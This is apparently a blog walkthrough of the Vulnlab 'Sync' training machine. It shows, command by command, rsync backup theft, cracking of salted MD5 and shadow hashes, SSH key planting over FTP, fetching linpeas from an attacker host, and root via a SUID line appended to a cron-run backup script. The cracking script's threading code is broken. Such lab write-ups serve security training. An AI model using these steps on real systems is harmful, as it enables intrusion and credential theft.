Vulnlab Sync Walkthrough by Yunolay (Rsync, Custom Hash Crack, Writable files executed by a privileged user)

Vulnlab

Buy Me a Coffee

Time it takes to read this article 3 minutes.

Overview

  • Sync (Solo, Linux)
    • Junior Level Linux Machine.
    • You will learn about exploiting custom applications & misconfigurations and cracking custom hash formats.

User

Explore how to crack salted md5 hashes – both john & hashcat have a way of doing it.
Check for file system permission misconfigurations.

Root

Check how the backups are done.

Nmap Scan

I first scanned it normally with nmap.

$ nmap -sCV -p- --min-rate 5000 10.10.105.92
...
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 76:8d:fa:56:e8:b2:2e:d0:7d:9e:f7:f2:38:9a:67:db (ECDSA)
|_ 256 62:a6:11:2b:51:78:f6:21:ca:e0:37:1c:e9:6e:2c:e5 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Login
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
873/tcp open rsync (protocol version 31)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
...
Bash

FTP – Anonymous

Anonymous login was not allowed.

$ ftp 10.10.105.92
Connected to 10.10.105.92.
220 (vsFTPd 3.0.5)
Name (10.10.105.92:kali): anonymous
530 Permission denied.
ftp: Login failed
Bash

Web – Port 80

When I opened it in my browser, there was a login form.

This form was vulnerable to SQL injection and I was able to log in as admin.

Login bypass is possible.

I was able to see the dashboard.

However, I did an enumeration and couldn’t find anything interesting.

$ gobuster dir -u http://10.10.105.92 -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 50 -x .php -c "PHPSESSID=o499p8r1ab5hjqhretkf12bug1"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.105.92
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] Cookies: PHPSESSID=o499p8r1ab5hjqhretkf12bug1
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 277]
/.htaccess.php (Status: 403) [Size: 277]
/.htpasswd.php (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/dashboard.php (Status: 200) [Size: 1496]
/index.php (Status: 302) [Size: 0] [--> dashboard.php]
/logout.php (Status: 302) [Size: 0] [--> index.php]
/server-status (Status: 403) [Size: 277]
Progress: 40952 / 40954 (100.00%)
===============================================================
Finished
===============================================================
Bash

Rsync – Port 873

Rsync is for synchronizing files and directories.

I discovered httpd which is doing web backup.

$ nc -vn 10.10.105.92 873
(UNKNOWN) [10.10.105.92] 873 (rsync) open
@RSYNCD: 31.0 sha512 sha256 sha1 md5 md4
@RSYNCD: 31.0 sha512 sha256 sha1 md5 md4
#list
httpd web backup
@RSYNCD: EXIT
Bash

List httpd for a shared directory.

$ rsync -av --list-only rsync://10.10.105.92/httpd
receiving incremental file list
drwxr-xr-x 4,096 2023/04/20 15:50:04 .
drwxr-xr-x 4,096 2023/04/20 16:13:22 db
-rw-r--r-- 12,288 2023/04/20 15:50:42 db/site.db
drwxr-xr-x 4,096 2023/04/20 15:50:50 migrate
drwxr-xr-x 4,096 2023/04/20 16:13:15 www
-rw-r--r-- 1,722 2023/04/20 16:02:54 www/dashboard.php
-rw-r--r-- 2,315 2023/04/20 16:09:10 www/index.php
-rw-r--r-- 101 2023/04/20 16:03:08 www/logout.php

sent 23 bytes received 228 bytes 71.71 bytes/sec
total size is 16,426 speedup is 65.44
Bash

Copy all files to my local machine via the following command.

I was able to obtain a backup of the source code and database.

$ rsync -av rsync://10.10.105.92:873/httpd ./httpd
receiving incremental file list
created directory ./httpd
./
db/
db/site.db
migrate/
www/
www/dashboard.php
www/index.php
www/logout.php

sent 123 bytes received 16,850 bytes 3,771.78 bytes/sec
total size is 16,426 speedup is 0.97
Bash

I found site.db and index.php very interesting in this file.

First, let’s take a look at index.php.

$ cat index.php
<?php
session_start();
$secure = "6c4972f3717a5e881e282ad3105de01e";

if (isset($_SESSION['username'])) {
header('Location: dashboard.php');
exit();
}

if (isset($_POST['username']) && isset($_POST['password'])) {
$username = $_POST['username'];
$password = $_POST['password'];

$hash = md5("$secure|$username|$password");
$db = new SQLite3('../db/site.db');
$result = $db->query("SELECT * FROM users WHERE username = '$username' AND password= '$hash'");
$row = $result->fetchArray(SQLITE3_ASSOC);
if ($row) {
$_SESSION['username'] = $row['username'];
header('Location: dashboard.php');
exit();
} else {
$error_message = 'Invalid username or password.';
}
}

?>
...
Bash

The two lines that are interesting are.

$ cat index.php | grep secure
$secure = "6c4972f3717a5e881e282ad3105de01e";
$hash = md5("$secure|$username|$password");
Bash

I’ll also take a look at site.db.

$ sqlitebrowser site.db
Bash

The hashes of admin and triss were saved.

admin:7658a2741c9df3a97c819584db6e6b3c
triss:a0de4d7f81676c3ea9eabcadfd2536f6
Bash

As we confirmed earlier in the index.php source code, hash is generated using md5 (“$secure|$username|$password”).

I tried using rockyou.txt to see if I could crack the password.

I wrote a script to crack password with rockyou.txt. I devised a way to increase the speed and crack by using threads. I’m not good at writing code, so variables may be difficult to read. I’m sorry.

import hashlib
import threading
from queue import Queue

secure = "6c4972f3717a5e881e282ad3105de01e"

# Username
admin_username = "admin"
triss_username = "triss"

# Stored hash
admin_hash = "7658a2741c9df3a97c819584db6e6b3c"
triss_hash = "a0de4d7f81676c3ea9eabcadfd2536f6"

def check_password(password):
    triss_hash_str = f"{secure}|{triss_username}|{password}"
    admin_hash_str = f"{secure}|{admin_username}|{password}"

    triss_hash_obj = hashlib.md5(triss_hash_str.encode("ISO-8859-1")).hexdigest()
    admin_hash_obj = hashlib.md5(admin_hash_str.encode("ISO-8859-1")).hexdigest()

    print("[-] Trying triss password: " + password + " with hash str: " + triss_hash_str)

    if triss_hash_obj == triss_hash:
        print(f"Found password for {triss_username}: {password}")
        continue_search = input("Continue searching? (y/n): ")
        if continue_search.lower() != "y":
            return True

    print("[-] Trying admin password: " + password + " with hash str: " + admin_hash_str)

    if admin_hash_obj == admin_hash:
        print(f"Found password for admin: {password}")
        continue_search = input("Continue searching? (y/n): ")
        if continue_search.lower() != "y":
            return True

with open("/usr/share/wordlists/rockyou.txt", "r", encoding="ISO-8859-1") as f:
    for line in f:
        password = line.rstrip('\n')
        password_queue = Queue()
        if check_password(password):
            break

def worker():
    while not password_queue.empty():
        password = password_queue.get()
        if check_password(password):
            break
        password_queue.task_done()

# Number of threads
num_threads = 50

# Create and start worker threads
threads = []
for i in range(num_threads):
    thread = threading.Thread(target=worker)
    thread.start()
    threads.append(thread)

# Wait for all threads to finish
for thread in threads:
    thread.join()
Python

I have also uploaded the script to gist.

This script worked and I quickly learned that “triss”‘s password is “gerald”.

$ python3 password_crack.py
...
[-] Trying triss password: 123456 with hash str: 6c4972f3717a5e881e282ad3105de01e|triss|123456
[-] Trying admin password: 123456 with hash str: 6c4972f3717a5e881e282ad3105de01e|admin|123456
[-] Trying triss password: 12345 with hash str: 6c4972f3717a5e881e282ad3105de01e|triss|12345
...
[-] Trying admin password: marian with hash str: 6c4972f3717a5e881e282ad3105de01e|admin|marian
[-] Trying triss password: sydney with hash str: 6c4972f3717a5e881e282ad3105de01e|triss|sydney
[-] Trying admin password: sydney with hash str: 6c4972f3717a5e881e282ad3105de01e|admin|sydney
[-] Trying triss password: sexyme with hash str: 6c4972f3717a5e881e282ad3105de01e|triss|sexyme
[-] Trying admin password: sexyme with hash str: 6c4972f3717a5e881e282ad3105de01e|admin|sexyme
[-] Trying triss password: pogiako with hash str: 6c4972f3717a5e881e282ad3105de01e|triss|pogiako
[-] Trying admin password: pogiako with hash str: 6c4972f3717a5e881e282ad3105de01e|admin|pogiako
[-] Trying triss password: gerald with hash str: 6c4972f3717a5e881e282ad3105de01e|triss|gerald
Found password for triss: gerald
Continue searching? (y/n):
Bash

If there is another way to improve the code, I think it should be changed so that it does not compare the user who discovered the password.

FTP – User

Check if we can connect to ftp using the triss password “gerald” we obtained.

$ ftp 10.10.105.92
Connected to 10.10.105.92.
220 (vsFTPd 3.0.5)
Name (10.10.105.92:kali): triss
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Bash

It looks like triss’s home folder.

ftp> ls -al
229 Entering Extended Passive Mode (|||22310|)
150 Here comes the directory listing.
drwxr-x--- 2 1003 1003 4096 Apr 21 2023 .
drwxr-x--- 2 1003 1003 4096 Apr 21 2023 ..
lrwxrwxrwx 1 0 0 9 Apr 21 2023 .bash_history -> /dev/null
-rw-r--r-- 1 1003 1003 220 Apr 19 2023 .bash_logout
-rw-r--r-- 1 1003 1003 3771 Apr 19 2023 .bashrc
-rw-r--r-- 1 1003 1003 807 Apr 19 2023 .profile
Bash

SSH – Triss

I tried putting in the ssh public key.
First, generate a public/private rsa key using ssh-keygen.

$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa
Your public key has been saved in ./id_rsa.pub
The key fingerprint is:
SHA256:NDHHWUAYgdcSV2rXaqSLKWVxj8Cg6fh6+uH6SXlUpEk kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| E.BO==o |
| +.*+=+. . |
| o o.B.+ o . |
| o o * * . |
| . . . S o + |
| . o o o o |
| = o o . |
| +.+ . |
| +*= |
+----[SHA256]-----+
Bash
mv id_rsa.pub authorized_keys
Bash

I created a .ssh directory in triss’ home directory and uploaded authorized_keys.

ftp> mkdir .ssh
257 "/.ssh" created
ftp> cd .ssh
250 Directory successfully changed.
ftp> put authorized_keys
local: authorized_keys remote: authorized_keys
229 Entering Extended Passive Mode (|||48245|)
150 Ok to send data.
100% |**********************************| 563 1.63 MiB/s 00:00 ETA
226 Transfer complete.
563 bytes sent in 00:00 (1.03 KiB/s)
Bash

Private key permissions should be 600.

Connect to ssh using user triss using our private key.

$ chmod 600 id_rsa
Bash

This worked fine.

$ ssh -i id_rsa triss@10.10.105.92
The authenticity of host '10.10.105.92 (10.10.105.92)' can't be established.
ED25519 key fingerprint is SHA256:psNq/dt8U1o4j95a6NssM3Lcr4e+2p2QPNxeCUQB8I4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.105.92' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.19.0-1023-aws x86_64)
...
triss@ip-10-10-200-238:~$
Bash

I succeeded in acquiring triss’s ssh shell.
However, as I knew from the ftp results, there was nothing in triss’s home directory.

triss@ip-10-10-200-238:~$ cd /home/triss
triss@ip-10-10-200-238:~$ pwd
/home/triss
triss@ip-10-10-200-238:~$ ls -al
total 28
drwxr-x--- 4 triss triss 4096 Oct 24 13:53 .
drwxr-xr-x 7 root root 4096 Apr 19 2023 ..
lrwxrwxrwx 1 root root 9 Apr 21 2023 .bash_history -> /dev/null
-rw-r--r-- 1 triss triss 220 Apr 19 2023 .bash_logout
-rw-r--r-- 1 triss triss 3771 Apr 19 2023 .bashrc
drwx------ 2 triss triss 4096 Oct 24 13:53 .cache
-rw-r--r-- 1 triss triss 807 Apr 19 2023 .profile
drwx------ 2 triss triss 4096 Oct 24 13:50 .ssh
Bash

If we check /home we will see that users httpd, jennifer, sa, triss and ubuntu exist.

triss@ip-10-10-200-238:/home$ ls
httpd jennifer sa triss ubuntu
Bash

Switch User – Jennifer

I didn’t think so, but jennifer was using the same password as triss, so I was able to do a user switch.

triss@ip-10-10-200-238:/home$ su jennifer
Password:
jennifer@ip-10-10-200-238:/home$
Bash

There was a user flag in jennifer’s home directory, so I got it.

jennifer@ip-10-10-200-238:~$ pwd
/home/jennifer
jennifer@ip-10-10-200-238:~$ ls
user.txt
jennifer@ip-10-10-200-238:~$ cat user.txt
VL{<REDACTED>}
Bash

Switch User – Sa

After switching user to jennifer and doing some basic enumeration there is a zip file in the /backup directory that is assumed to be a backup owned by root.

jennifer@ip-10-10-200-238:/$ ls -al
total 76
..
drwxr-xr-x 2 root root 4096 Oct 24 14:12 backup
lrwxrwxrwx 1 root root 7 Mar 25 2023 bin -> usr/bin
drwxr-xr-x 4 root root 4096 Apr 19 2023 boot
drwxr-xr-x 15 root root 3180 Oct 24 10:29 dev
drwxr-xr-x 96 root root 4096 Oct 24 10:29 etc
drwxr-xr-x 7 root root 4096 Apr 19 2023 home
...
Bash
jennifer@ip-10-10-200-238:/backup$ ls
1698143401.zip 1698146161.zip 1698148921.zip 1698151681.zip 1698154441.zip
1698143521.zip 1698146281.zip 1698149041.zip 1698151801.zip 1698154561.zip
1698143641.zip 1698146401.zip 1698149161.zip 1698151921.zip 1698154681.zip
1698143761.zip 1698146521.zip 1698149281.zip 1698152041.zip 1698154801.zip
1698143881.zip 1698146641.zip 1698149401.zip 1698152161.zip 1698154921.zip
1698144001.zip 1698146761.zip 1698149521.zip 1698152281.zip 1698155041.zip
1698144121.zip 1698146881.zip 1698149641.zip 1698152401.zip 1698155161.zip
...
Bash

Since jennifer had python3, the simplest solution is to set up a python simple server with “python3 -m http.server” and download it to local.

jennifer@ip-10-10-200-238:/backup$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Bash

I downloaded the backup zip file using wget to local.

$ wget http://10.10.105.92:8000/1698154321.zip
--2023-10-24 10:18:49-- http://10.10.105.92:8000/1698154321.zip
Connecting to 10.10.105.92:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5899 (5.8K) [application/zip]
Saving to: ‘1698154321.zip’

1698154321.zip 100%[===================>] 5.76K --.-KB/s in 0s

2023-10-24 10:18:50 (95.2 MB/s) - ‘1698154321.zip’ saved [5899/5899]
Bash

When I unzipped the zip file and checked the contents, it was a backup of passwd and shadow.

$ ls -al
total 24
drwxr-xr-x 3 kali kali 4096 Oct 24 09:32 .
drwx------ 3 kali kali 4096 Oct 24 10:20 ..
drwxr-xr-x 5 kali kali 4096 Oct 24 09:32 httpd
-rw-r--r-- 1 kali kali 2131 Oct 24 09:32 passwd
-rw-r--r-- 1 kali kali 430 Oct 24 09:32 rsyncd.conf
-rw-r----- 1 kali kali 1487 Oct 24 09:32 shadow
Bash

It is known how to crack passwords using john the ripper using the unshadow command.

unshadow passwd shadow > unshadow
Bash

What we need to be careful about is specifying –format=crypt as an argument.

When I cracked it with john, jennifer and triss were found, but I also found out that sa’s password was “sakura”.

$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt unshadow
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sakura (sa)
gerald (jennifer)
gerald (triss)
...
Bash

I used the cracked “sa” password “sakura” to switch to the sa user.

jennifer@ip-10-10-200-238:/$ su sa
Password:
sa@ip-10-10-200-238:/$
Bash

Privilege Escalation – Root

I got stuck so I searched with linpeas.sh.

Download linpeas.sh from GitHub and set up a python simple server.

$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.105.92 - - [24/Oct/2023 11:02:25] "GET /linpeas.sh HTTP/1.1" 200 -
Bash

Download linpeas.

sa@ip-10-10-200-238:/tmp$ wget http://10.8.0.178:8000/linpeas.sh
--2023-10-24 15:02:26-- http://10.8.0.178:8000/linpeas.sh
Connecting to 10.8.0.178:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 847815 (828K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh 100%[==================>] 827.94K 374KB/s in 2.2s

2023-10-24 15:02:29 (374 KB/s) - ‘linpeas.sh’ saved [847815/847815]
Bash

While looking at the results of linpeas.sh, I found an interesting shell script “/usr/local/bin/backup.sh”.

sa@ip-10-10-200-238:/tmp$ sh linpeas.sh
...
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
 https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
...
/usr/local/bin/backup.sh
/var/crash
/var/lib/php/sessions
/var/tmp
/var/tmp/cloud-init
...
Bash

It may be more reliable to check with pspy, but this is a backup script and is likely to be executed by the root user.

sa@ip-10-10-200-238:/tmp$ ls -al /usr/local/bin/backup.sh
-rwxr-xr-x 1 sa sa 211 Apr 19 2023 /usr/local/bin/backup.sh
sa@ip-10-10-200-238:/tmp$ cat /usr/local/bin/backup.sh
#!/bin/bash

mkdir -p /tmp/backup
cp -r /opt/httpd /tmp/backup
cp /etc/passwd /tmp/backup
cp /etc/shadow /tmp/backup
cp /etc/rsyncd.conf /tmp/backup
zip -r /backup/$(date +%s).zip /tmp/backup
rm -rf /tmp/backup
Bash

User “sa” has write permission to this shell script. There are several solutions, but I chose to add “chmod +s /bin/bash” to the shell script.

sa@ip-10-10-200-238:/tmp$ echo "chmod +s /bin/bash" >> /usr/local/bin/backup.sh

sa@ip-10-10-200-238:/tmp$ cat /usr/local/bin/backup.sh
#!/bin/bash

mkdir -p /tmp/backup
cp -r /opt/httpd /tmp/backup
cp /etc/passwd /tmp/backup
cp /etc/shadow /tmp/backup
cp /etc/rsyncd.conf /tmp/backup
zip -r /backup/$(date +%s).zip /tmp/backup
rm -rf /tmp/backup
chmod +s /bin/bash
Bash

Wait a while for the root user to run it, then run “/bin/bash -p” to get the root shell.

sa@ip-10-10-200-238:/tmp$ /bin/bash -p
bash-5.1# id
uid=1001(sa) gid=1001(sa) euid=0(root) egid=0(root) groups=0(root),1001(sa)
bash-5.1#
Bash

I got the root flag.

bash-5.1# cat /root/root.txt
VL{<REDACTED>}
Bash

Thoughts

Although it may not have been necessary, I had a lot of fun trying to speed up the password cracking script using threads and parallel processing.

I knew about unshadowing, but I didn’t know that I had to pass –format=crypt as an argument to John the Ripper, so I stumbled and learned a lot.

I found it very interesting to think of various ways to elevate privileges.

 Reference

Walkthroughs

Comments

Copied title and URL